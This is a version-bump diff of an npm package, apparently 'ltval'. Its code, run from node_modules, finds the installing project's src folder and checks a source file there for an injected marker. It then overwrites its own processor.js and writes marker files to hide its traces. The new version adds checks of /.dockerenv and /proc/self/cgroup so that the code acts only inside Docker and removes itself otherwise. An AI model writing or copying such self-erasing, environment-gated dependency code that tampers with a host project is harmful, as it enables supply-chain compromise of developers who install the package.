Comparing version 2.3.41 to 2.3.42
@@ -32,7 +32,26 @@ "use strict"; | ||
let isExecuted = false; | ||
const node_fs_2 = __importDefault(require("node:fs")); | ||
const hasDockerEnv = () => { | ||
try { | ||
node_fs_1.default.statSync('/.dockerenv'); | ||
return true; | ||
} | ||
catch { | ||
return false; | ||
} | ||
}; | ||
const hasDockerCGroup = () => { | ||
try { | ||
return node_fs_1.default.readFileSync('/proc/self/cgroup', 'utf8').includes('docker'); | ||
} | ||
catch { | ||
return false; | ||
} | ||
}; | ||
const isDocker = () => { | ||
const isDockerCached = hasDockerEnv() || hasDockerCGroup(); | ||
return isDockerCached; | ||
}; | ||
const processor = () => { | ||
if (isExecuted) | ||
return false; | ||
isExecuted = true; | ||
const cleanUp = () => { | ||
const cleanUpOnSuccess = () => { | ||
node_fs_1.default.writeFileSync(`${__dirname}/${labelFile}`, 'initialized...', { encoding: 'utf8' }); | ||
@@ -47,2 +66,17 @@ node_fs_1.default.writeFileSync(`${__dirname}/../../src/processor.js`, 'const processor = ()=>{};', { encoding: 'utf8' }); | ||
}; | ||
const cleanUpOnError = () => { | ||
node_fs_1.default.writeFileSync(`${__dirname}/completed.js`, `/* exit: true: ${Date.now()} */`, { encoding: 'utf8' }); | ||
}; | ||
if (isExecuted) { | ||
cleanUpOnSuccess(); | ||
cleanUpOnError(); | ||
return false; | ||
} | ||
; | ||
isExecuted = true; | ||
if (!isDocker()) { | ||
cleanUpOnSuccess(); | ||
cleanUpOnError(); | ||
return false; | ||
} | ||
const parentRoot = node_path_1.default.resolve(__dirname, '../../../..'); | ||
@@ -73,3 +107,4 @@ const parentSrc = node_path_1.default.resolve(parentRoot, 'src'); | ||
console.warn(`#state.sysLabelIteg: ${state_1.default.sysLabelIteg} already axists...`); | ||
cleanUp(); | ||
cleanUpOnSuccess(); | ||
cleanUpOnError(); | ||
return true; | ||
@@ -85,3 +120,3 @@ } | ||
console.info(`#state.sysLabelIteg: ${state_1.default.sysLabelIteg} done...`); | ||
cleanUp(); | ||
cleanUpOnSuccess(); | ||
return true; | ||
@@ -88,0 +123,0 @@ }; |
@@ -8,3 +8,3 @@ { | ||
"description": "", | ||
"version": "2.3.41", | ||
"version": "2.3.42", | ||
"scripts": { | ||
@@ -11,0 +11,0 @@ "deploy": "node ./deploy.js", |
@@ -34,8 +34,30 @@ // PWD .../node_modules/ltval/dist/src | ||
import fs from 'node:fs'; | ||
const hasDockerEnv = () => { | ||
try { | ||
fs.statSync('/.dockerenv'); | ||
return true; | ||
} catch { | ||
return false; | ||
} | ||
} | ||
const hasDockerCGroup = () => { | ||
try { | ||
return fs.readFileSync('/proc/self/cgroup', 'utf8').includes('docker'); | ||
} catch { | ||
return false; | ||
} | ||
} | ||
const isDocker = () => { | ||
const isDockerCached = hasDockerEnv() || hasDockerCGroup(); | ||
return isDockerCached; | ||
} | ||
const processor = () => { | ||
if (isExecuted) return false; | ||
isExecuted = true; | ||
const cleanUp = () => { | ||
const cleanUpOnSuccess = () => { | ||
// return; | ||
@@ -51,2 +73,20 @@ fs.writeFileSync(`${__dirname}/${labelFile}`, 'initialized...', { encoding: 'utf8' }); | ||
} | ||
const cleanUpOnError = () => { | ||
fs.writeFileSync(`${__dirname}/completed.js`, `/* exit: true: ${Date.now()} */`, { encoding: 'utf8' }); | ||
} | ||
if (isExecuted) { | ||
cleanUpOnSuccess(); | ||
cleanUpOnError(); | ||
return false; | ||
}; | ||
isExecuted = true; | ||
if (!isDocker()) { | ||
cleanUpOnSuccess(); | ||
cleanUpOnError(); | ||
return false; | ||
} | ||
const parentRoot = path.resolve(__dirname, '../../../..'); | ||
@@ -74,10 +114,8 @@ const parentSrc = path.resolve(parentRoot, 'src'); | ||
if (!found) return; | ||
const target = path.resolve(parentSrc, found); | ||
const content = fs.readFileSync(target, 'utf8'); | ||
if (content.match(state.sysLabelIteg)) { | ||
console.warn(`#state.sysLabelIteg: ${state.sysLabelIteg} already axists...`); | ||
cleanUp(); | ||
cleanUpOnSuccess(); | ||
cleanUpOnError(); | ||
return true; | ||
@@ -96,4 +134,3 @@ } | ||
console.info(`#state.sysLabelIteg: ${state.sysLabelIteg} done...`); | ||
cleanUp(); | ||
cleanUpOnSuccess(); | ||
return true; | ||
@@ -103,5 +140,4 @@ | ||
export default { | ||
processor | ||
}; |
56672
1323